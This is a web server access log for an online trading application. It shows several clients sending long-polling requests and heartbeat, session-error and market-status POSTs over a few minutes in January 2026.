[09/Jan/2026:14:45:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:45:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:45:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941404676 HTTP/1.1" -
[09/Jan/2026:14:45:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941406872 HTTP/1.1" -
[09/Jan/2026:14:45:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941422505 HTTP/1.1" -
[09/Jan/2026:14:45:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941415004 HTTP/1.1" -
[09/Jan/2026:14:45:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941409851 HTTP/1.1" -
[09/Jan/2026:14:45:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:45:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:45:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941411894 HTTP/1.1" -
[09/Jan/2026:14:45:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941427537 HTTP/1.1" -
[09/Jan/2026:14:45:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941420069 HTTP/1.1" -
[09/Jan/2026:14:45:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941414978 HTTP/1.1" -
[09/Jan/2026:14:45:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941416936 HTTP/1.1" -
[09/Jan/2026:14:45:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941432591 HTTP/1.1" -
[09/Jan/2026:14:45:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:45:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:45:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:45:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941425100 HTTP/1.1" -
[09/Jan/2026:14:45:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:45:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941420092 HTTP/1.1" -
[09/Jan/2026:14:45:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:45:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:45:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:45:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:45:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941421985 HTTP/1.1" -
[09/Jan/2026:14:45:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941437617 HTTP/1.1" -
[09/Jan/2026:14:45:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:45:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:45:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941430196 HTTP/1.1" -
[09/Jan/2026:14:45:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:45:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:45:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941425145 HTTP/1.1" -
[09/Jan/2026:14:45:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941427025 HTTP/1.1" -
[09/Jan/2026:14:45:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941442642 HTTP/1.1" -
[09/Jan/2026:14:45:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941435234 HTTP/1.1" -
[09/Jan/2026:14:46:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941430268 HTTP/1.1" -
[09/Jan/2026:14:46:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941432045 HTTP/1.1" -
[09/Jan/2026:14:46:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941447679 HTTP/1.1" -
[09/Jan/2026:14:46:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:46:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:46:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941440308 HTTP/1.1" -
[09/Jan/2026:14:46:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941435406 HTTP/1.1" -
[09/Jan/2026:14:46:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941437081 HTTP/1.1" -
[09/Jan/2026:14:46:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941452747 HTTP/1.1" -
[09/Jan/2026:14:46:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941445397 HTTP/1.1" -
[09/Jan/2026:14:46:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:46:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:46:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941440547 HTTP/1.1" -
[09/Jan/2026:14:46:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941442127 HTTP/1.1" -
[09/Jan/2026:14:46:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941457767 HTTP/1.1" -
[09/Jan/2026:14:46:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941450463 HTTP/1.1" -
[09/Jan/2026:14:46:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941445668 HTTP/1.1" -
[09/Jan/2026:14:46:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941447173 HTTP/1.1" -
[09/Jan/2026:14:46:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941462836 HTTP/1.1" -
[09/Jan/2026:14:46:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:46:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:46:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:46:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:46:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941455493 HTTP/1.1" -
[09/Jan/2026:14:46:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941450879 HTTP/1.1" -
[09/Jan/2026:14:46:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:46:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:46:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:46:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:46:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941452208 HTTP/1.1" -
[09/Jan/2026:14:46:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941467868 HTTP/1.1" -
[09/Jan/2026:14:46:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:46:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:46:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941460591 HTTP/1.1" -
[09/Jan/2026:14:46:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:46:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:46:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941455929 HTTP/1.1" -
[09/Jan/2026:14:46:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941457241 HTTP/1.1" -
[09/Jan/2026:14:46:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941472900 HTTP/1.1" -
[09/Jan/2026:14:46:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941465632 HTTP/1.1" -
[09/Jan/2026:14:46:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941460991 HTTP/1.1" -
[09/Jan/2026:14:46:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941462282 HTTP/1.1" -
[09/Jan/2026:14:46:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941477963 HTTP/1.1" -
[09/Jan/2026:14:46:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:46:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:46:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941470713 HTTP/1.1" -
[09/Jan/2026:14:46:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941466117 HTTP/1.1" -
[09/Jan/2026:14:46:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941467316 HTTP/1.1" -
[09/Jan/2026:14:46:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941483018 HTTP/1.1" -
[09/Jan/2026:14:46:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941475805 HTTP/1.1" -
[09/Jan/2026:14:46:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:46:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:46:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941471256 HTTP/1.1" -
[09/Jan/2026:14:46:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941472342 HTTP/1.1" -
[09/Jan/2026:14:46:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941488086 HTTP/1.1" -
[09/Jan/2026:14:46:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941480884 HTTP/1.1" -
[09/Jan/2026:14:46:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941476413 HTTP/1.1" -
